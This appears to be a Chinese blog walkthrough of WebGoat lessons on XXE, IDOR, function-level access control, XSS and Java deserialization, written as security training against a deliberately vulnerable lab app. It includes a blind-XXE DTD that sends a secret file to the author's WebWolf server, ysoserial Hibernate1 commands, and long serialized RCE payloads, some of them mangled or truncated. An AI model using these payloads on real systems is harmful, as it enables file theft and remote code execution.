这里其实我们是中间人,通过截获用户没有在前端加密的密码,直接拿到用户名+密码

登录尝试

(A4) XML External Entities (XXE) XXE

1-3

XXE的webgoat给出的讲解,这里写我的理解吧

XML?

不陌生了,一种配置文件,Struts,Spring中常用,常用java读写xml文件

xml文件有着自己的格式:

XML声明,一般没啥,约束而已,都会写上,版本编码<?xml version="1.0" encoding="UTF-8"?> 文档类型定义(DTD) ,重点在这!//可以引用内部外部的实体,如:<!ENTITY % name SYSTEM “file:///etc/passwd”>%name;引用了不就调用了,是不是有点类似文件包含?这个实际上就是把“file:///etc/passwd”赋值给name,那如果[file:///etc/passwd](file:///C:\etc\passwd)用户可控呢?改成http协议呢?没听懂,再解释一遍吧XML外部实体 ‘name’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’ name’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’ name’实体的值将从其后的URI中读取,并把读取的内容替换name出现的地方。假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/zzyy.txt)]> <元素名称 category=“属性”>文本或其他元素</元素名称>

外部实体类型有

这下懂了吧?

总结一下:XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。

4-7

4是正常让你提交个评论,7才是让你攻击,但是俩都是一样的,5是指导你攻击的,6是代码审计角度发现XXE

题目提示:

提交表单时,尝试使用comments字段执行一个XXE注入。尝试列出文件系统的根目录

我们自己提交一个XML格式的文件,让服务器去解析

PayLoad(Linux):

<?xml version="1.0"?> ]> &xxe;

PayLoad(Windows):

<?xml version="1.0"?> ]> &zzyy;

我是部署在windows上的,我就用windows啦

点击submit,抓包

这里用户可控哦,重放包

替换成我们的PayLoad

惜败

换一些目录,我换了我webgoat的目录

都列出来了

8-10

XXE竟然还有DDOS

解析xml时,a有a1,a2,a3。。。a10

a1有b1,b2,b3。。。b10

层层,导致服务器怎么都解析不完

XXE也有盲注?

11

XXE盲注

题目要求

拿到指定目录中的txt文件,并通过将其上传的自己的服务器上(下面使用WebWolf),读取其中的内容

我把这个翻译成初学者能懂得语言

webgoat开启了站点,这个站点有XXE,webgoat服务器上有个密码文件,通过XXE把这个密码文件读取,并且发送到我们自己的恶意站点webwolf,webwolf接受到这个请求就顺理成章获取了密码文件里面的密码

第一步,得有个密码文件,根据题目上给的路径,找了半天也没找到这个密码文件,我这个是jar包,又下了几个源码文件,看看人家的文件结构,也没发现有这个路径啊,算了,我自己写一个secret.txt,就当它是题目给的吧

webgoat服务器上有个密码文件

写好之后,开始攻击,攻击前再分析一波

webwolf相当于是我们自己的网站,既然webgoat这里存在XXE就可以远程包含webwolf上的文件了

最后的payload如下,第三行为本地包含,目的是读取密码文件,第四行是远程包含,目的是什么呢,我们先来看看这个dtd文件,这个dtd需要自己写

<?xml version="1.0"?> <!ENTITY % getdtd SYSTEM " http://localhost:9090/files/aaaaaa/xxe1.dtd"> %getdtd; %write;]> 777&send;

调用题目所给的语句,来给webwolf发请求

<!ENTITY % write "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

分析一波

第一步包含本地文件,把内容存在file中

第二步远程包含webwolf上的dtd

第三步解析webwolf上的dtd,把file内容赋值给txt,作为参数发给webwolf

再次开始攻击

webwolf上传dtd

利用webgoatXXE

其实这一步大家都用的bp,我这心累,想用webwolf,就只能localhost启,本地java11又不支持bp,懒得整整环境了,就还用浏览器自带的发包工具吧

随便写个评论,点submit

点开这个POST

把我们上面的payload粘过来,一定注意,最下面不要有空行

滑倒最上面,点发送

清晰地看到webwolf多了请求,点开看看吧

正如我们所料

12

XXE的防御,我们自己总结一下吧

我们是如何攻进来的

是不是xml可以利用DTD来包含文件,远程也好,本地也好

是不是可以关闭DTD,或者禁用包含这些功能,具体的配置,自己研究吧

但是话说回来,XXE本质不就是XML注入吗,为什么不算在top1的注入里面呢,算了,专家分的,听专家的

(A5) Broken Access Control Insecure Direct Object References不安全的对象引用

1

看了一下webgoat的解释,应该就是越权吧

比方说你是个普通用户,你的ID是12345,这里引用了ID这个对象

https://some.company.tld/dor?id=12345

那如果你把URL修改,如果超管的ID为1,是否拥有超管的权限?

https://some.company.tld/dor?id=1

2-3

现在讲究,先验证,后利用授权漏洞

题目说用户名是tom,密码是cat,认证

认证通过,进入3

说了一大堆不是很懂的,貌似是让列出响应的属性

分析一下,在客户端和服务器通信过程中,会发送HTTP请求,这个请求包含了很多字段,有些是展示在浏览器上的,有些是在请求中但不展示的,点击View Profile,看看先

展示出了我们刚刚认证的Tom的信息,那么会不会还有其他一些属性,隐藏在请求中呢?

点击View Profile抓包,重放,果然还有两个字段没有展示,所以答案也就是这俩

role,userId

4

上一题是通过session里的数据来返回用户的profile信息的,这一提让我们写出怎么直接访问一个用户的profile

答案:

WebGoat/IDOR/profile/2342384

最后这串数字是上一题中本应该可以获得的userId值,怎么得来的,请看下面

5

第一步让找到另外一个账户的profile,第二步是修改这个账户更低的角色和喜欢的颜色为红色。

在4中已经知道可以通过/WebGoat/IDOR/profile/xxxxx 来获取对应id的账户profile,要获取其他账户无非就是按照id从1开始一直往上找,我这里直接顺着往上猜就猜到了一个

id为2342388,用户名是Buffalo Bill,不正确的一看响应就能看出来

能看到这个账户的role为3,喜欢的颜色是brown,按照题目需要修改这两个值。

因为题目说了这里使用的是RESTful,就去查了一下RESTful接口一般的更新方法,全部更新的方法是PUT,局部更新的方法是PATCH,这里就来试试PUT。

把用户信息拷贝出来

把role为3用户信息拷贝出来,制作成json格式数据:(按题目要求修改role为1,颜色为红)

{ “role” : “1”, “color” : “red”, “size” : “large”, “name” : “Buffalo Bill”, “userId” : “2342388”}

修改请求方法为PUT,一把过

6

防止水平和垂直越权

并且需要有日志记录

或者用户身份签名

(A5) Broken Access Control Missing Function Level Access Control缺少功能级访问控制

1-2

功能/接口权限控制

从JS、HTML、CSS中找到隐藏的选项/连接

找了找这俩还挺隐秘

3

让你先获取用户泄露的信息,再根据泄露的信息进行验证

根据上一题的信息收集,我们得知了/users与/config链接,但是我直接访问IP/WebGoat/users没有任何可用的信息,一开始以为是题目问题,知道看别人的解法,请求/users时把content-type改为application/json

访问

http://192.168.31.103:8080/WebGoat/users

抓包,重放

增加

content-type: application/json

Gyc6HCLEtE+NpBKKAxc8yiJiKXBdsk860jyu+HN7gis=

(A7) Cross-Site Scripting (XSS) Cross Site Scripting很火的XSS

1

学习反射,DOM

2

XSS祖传测试伎俩

alert(“XSS Test”);

alert(document.cookie);

目标是用浏览器,使用javascript伪协议,在输入框输入

javascript:alert(document.cookie)

然后问你,每个地方都输出的一样吗?肯定一样了

yes

这个只是告诉你,可以这么来,现在浏览器基本都过滤了这种了

3

webgoat给出了一些长点的地方

我说一些我常见的场景吧

存储型XSS:

增加删除数据/用户时的输入框

留言板

反射型XSS:

有回显的输入框

4

XSS危害

这里我们不要死记硬背,没意义

XSS的实质是什么?js代码注入!

所以js代码能干什么XSS就能干什么

cookie窃取

跳转到黑客的网站上,把你所有的信息劫持

5-6

XSS分类与利用场景,懒得说了,看我的PPT吧

7

当我们点击update cart时,可以看到页面上输出了我们的卡号,初步确认卡号字段存在xss,审查元素后发现卡号输出在p标签里,那么我们直接注入

就可通过本题目

这个题其实还可以教大家一个东西,购物车需要对数量进行过滤,如果我们可以选择负数呢?

经过我精密的计算,2块钱买了1600的东西

8-9

反射型和DOM型区别

在于是否经过后台服务器,经过就是反射,不经过就是DOM,专家说什么,我们就怎么理解

10

根据题目提示,查看GoatRouter.js

F12,脚本

翻了下页面的js,发现一个GoatRouter.js是路由配置的js文件,咱们跟进去看一下,找找有没有test相关的路由,发现

看到

接下来就提交答案了:

test/:param ----- 不对

testRoute — 不对

想起来题目的提示

答案是就是

start.mvc#test

11

这一题的目的就是利用start.mvc#test/路由执行phoneHome函数

题目里已经有提醒让我们利用上一题中找到的测试路径。好的,那么先尝试直接把函数贴到路径后面执行一下:

访问

192.168.31.103:8080/WebGoat/start.mvc#test/webgoat.customjs.phoneHome()

可以看到没有调用函数,而是直接回显了。

那么再试一下在网页框里用

192.168.31.103:8080/WebGoat/start.mvc#test/

没有回显,说明很可能执行了,再打开控制台,发现结果已经出来了。末尾的数字就是答案。

-926979552

13

我记得老版本是存储型XSS

但是payload和反射型一样,只不过一点一次注入成功,往后按F5或者进入这个页面都会执行,可能作者觉得有点鸡肋,没必要给删除,换成练习题了

答案:

43124

话说这个不是JS(前端)代码注入吗,为什么不算top1的注入呢

(A8) Insecure Deserialization Insecure Deserialization很火的反序列化

1-4

介绍了反序列化漏洞的产生,这里我来说一下我的理解吧

现在流行面向对象开发,万物皆对象

比如一个student对象有着很多属性,我们在用的时候可以这么赋值,以PHP为例

一个stu对象,有很多属性,name,sex等等,是json格式,如下

$stu1 = new Stu();

$stu1->name = “GGG”;

$stu1->sex = true;

$stu1->age = 18;

$stu1->score = 89.9;

这样的数据,很占空间,所以在临时存储时,会序列化成一种便于存储的字符串格式,如:

Array{“name”:“GGG”,“age”:18,“SEX”:true,“score”:89.9}

这样用的时候,再序列化会来,使用serialize() 和unserialize()函数来来回回转,这就是序列化和反序列化

分析一波

在反序列化的时候,要解析数据,如果需要解析的数据(name,sex字段等)用户可控,会是什么后果呢?

所以反序列化漏洞的本质是对象注入,范围是后台语言,就是后台语言能干啥,反序列化漏洞就能干啥,所以反序列化最明显的现象就是RCE(远程代码执行)或者远程命令执行(因为后台语言可以执行命令行)

5

这个题的意思是,下面的输入框存在反序列化漏洞,我们可以生成含有可执行代码的序列化字符串,贴到下面的输入框,下面的输入框就会进行反序列化,从而执行代码,题目是让页面延迟5s

可以使用含有反序列化的包,groovy,hibernate-core,spring-core可能存在反序列化漏洞

在这里,我要祭出eclipse,用代码生成序列化字符串,编码方式查看源码是base64url

包名统一使用org.dummy.insecure.framework,否则会报ID不一致

先生成一个VulnerableTaskHolder类,实现Serializeble接口

代码为(可以复制红色的部分,然后一个一个把包导了):

package org.dummy.insecure.framework; import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInputStream;import java.io.Serializable;import java.time.LocalDateTime; public class VulnerableTaskHolder implements Serializable { private static final long serialVersionUID = 2; private String taskName; private String taskAction; private LocalDateTime requestedExecutionTime; public VulnerableTaskHolder(String taskName, String taskAction) { super(); this.taskName = taskName; this.taskAction = taskAction; this.requestedExecutionTime = LocalDateTime.now(); } @Override public String toString() { return “org.dummy.insecure.framework.VulnerableTaskHolder [taskName=” + taskName + “, taskAction=” + taskAction + “, requestedExecutionTime=” + requestedExecutionTime + “]”; } /** * Execute a task when de-serializing a saved or received object. * @author stupid develop */ private void readObject( ObjectInputStream stream ) throws Exception { //unserialize data so taskName and taskAction are available stream.defaultReadObject(); //do something with the data System.out.println("restoring task: "+taskName); System.out.println("restoring time: "+requestedExecutionTime); if (requestedExecutionTime!=null && (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10)) || requestedExecutionTime.isAfter(LocalDateTime.now()))) { //do nothing is the time is not within 10 minutes after the object has been created System.out.println(this.toString()); throw new IllegalArgumentException(“outdated”); } //condition is here to prevent you from destroying the goat altogether if ((taskAction.startsWith(“sleep”)||taskAction.startsWith(“ping”)) && taskAction.length() < 22) { System.out.println("about to execute: "+taskAction); try { Process p = Runtime.getRuntime().exec(taskAction); BufferedReader in = new BufferedReader( new InputStreamReader(p.getInputStream())); String line = null; while ((line = in.readLine()) != null) { System.out.println(line); } } catch (IOException e) { e.printStackTrace(); } } }}

这个类完事了,没报错了

创建主函数,毕竟要调用吗,同样方式copy并导入相关包

Main

package org.dummy.insecure.framework; import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64; public class Main { static public void main(String[] args){ try{ VulnerableTaskHolder go = new VulnerableTaskHolder(“sleep”, “sleep 6”); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(go); oos.flush(); byte[] exploit = bos.toByteArray(); String exp = Base64.getEncoder().encodeToString(exploit); System.out.println(exp); } catch (Exception e){ } }}

光荣执行Main

这段就是我们的payload,粘过来,还挺长

rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAfkBwwKLzYObKCAeHQAB3NsZWVwIDZ0AAVzbGVlcA==

耻辱失败

那看来是得用jar生成,jar来自哪呢,看看网上教程,把webgoat的jar包打开,我这用的win10,直接双击打开jar包

找到刚刚那三个包,拷出来

我只找到了这俩,先试试吧,顺便把ysoseria也拿过来

生成payload过程

(。。。。。。)

为什么我用了省略号,是因为,我在这里卡了3天,接下来的讲解,大家会明白我的心路历程,一次又一次的磨砺,让我的意志越来越坚定,因为我为了复现这块的漏洞,搜遍了网上所有的webgoat教程,也踩了很多坑。

现在,网上用源代码生成payload的方式,都如同上面一样,失败,那既然有ysoserial,那我们就用这个。再跟大家捋一下。

这里拿老版蜘蛛侠3做个比喻,毒液很强,但是需要寄生

ysoserial充当着生成payload的角色,就是毒液

而这时,我们还需要一个寄生体,就是善良的蜘蛛侠

当毒液寄生红蜘蛛,就会变成帅气的黑蜘蛛

回到本题里面

时隔多日,我是把webgoat所有的题目都写完了,才回到这,写的这里

在回顾一下题目

题目说:下面的输入框,可以是接受一个序列化后的字符串,然后对其进行反序列化,那么我们只要在序列化时,把相应的代码插入到readObject函数里,就可以达成,题目是让延迟5s,我这里直接执行计算器

使用

hibernate-core 5

注意,以下的命令执行环境都是windows,我用的是windows7

将webgoat-server/BOOT-INF/lib下的hibernate-core.jar复制到ysoserial.jar同一目录

使用如下方法,生成Payload(注意下type后面是null不是nul)

java -Dhibernate5 -cp hibernate-core-5.4.6.jar;ysoserial-maste.jar ysoserial.GeneratePayload Hibernate1 “type null > C:\Users\win7\Desktop\webgoat\filename.txt” > payload1.bin

标红处为最终执行的命令,我这个是让在目标路径写一个空文件,当然也可以弹出计算器,那就是使用下面这个

java -Dhibernate5 -cp hibernate-core-5.4.6.jar;ysoserial-maste.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > payload2.bin

为了方便展示,我这里把两个都试试吧(我这里把命令复制粘贴,有时候会有问题,所以都是一个个敲得)

在win7中执行完上述两条命令后,可以看到生成了两个bin文件

执行过程很干净,没啥输出,就是多了俩bin文件

接下来进入python交互式环境

使用python命令

python

导入base64包(因为需要进行base64编码)

导入io包,因为序列化过程需要文件和对象的输入流

命令如下:

import base64

import io

其实payload已经生成了,但是我们需要对其进行编码,因为看源码的时候,在反序列化过程,先是base64解码

命令行输入如下两个

c = open(‘payload1.bin’, ‘rb’).read();cc = base64.urlsafe_b64encode©;io.open(‘payload1.txt’, ‘wt’, encoding=“utf-8”).write(cc.decode())

c = open(‘payload2.bin’, ‘rb’).read();cc = base64.urlsafe_b64encode©;io.open(‘payload2.txt’, ‘wt’, encoding=“utf-8”).write(cc.decode())

可以看到又多了两个txt文件,打开看看吧

梁端序列化后,并base64后的字符串,把这俩放到webgoat输入框中,为了方便区分,payload1用橙色,payload2用蓝色

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgArW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyOyaF-ANJPbfPAgAAeHAAAAABc3IAPW9yZy5oaWJlcm5hdGUucHJvcGVydHkuYWNjZXNzLnNwaS5HZXR0ZXJNZXRob2RJbXBsJFNlcmlhbEZvcm2sW7ZWyd0bWAIABEwADmNvbnRhaW5lckNsYXNzcQB-ABNMAA5kZWNsYXJpbmdDbGFzc3EAfgATTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wADHByb3BlcnR5TmFtZXEAfgAfeHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB-AB9MABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cHEAfgAldAATZ2V0T3V0cHV0UHJvcGVydGllc3QABHRlc3RwcHBwcHBwcHBwdXIAGltMb3JnLmhpYmVybmF0ZS50eXBlLlR5cGU7fq-roeSVYZoCAAB4cAAAAAFxAH4AEXBzcQB-ACEAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAbIyv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEANHR5cGUgbnVsID4gQzpcVXNlclx3aW43XERlc2t0b3Bcd2ViZ29hdFxmaWxlbmFtZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxODIyMDM0MjkxODcwMAEAH0x5c29zZXJpYWwvUHduZXIxODIyMDM0MjkxODcwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA-nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB-AC0AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgAFc3EAfgACcQB-ABFxAH4AKnEAfgAxeA==
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRp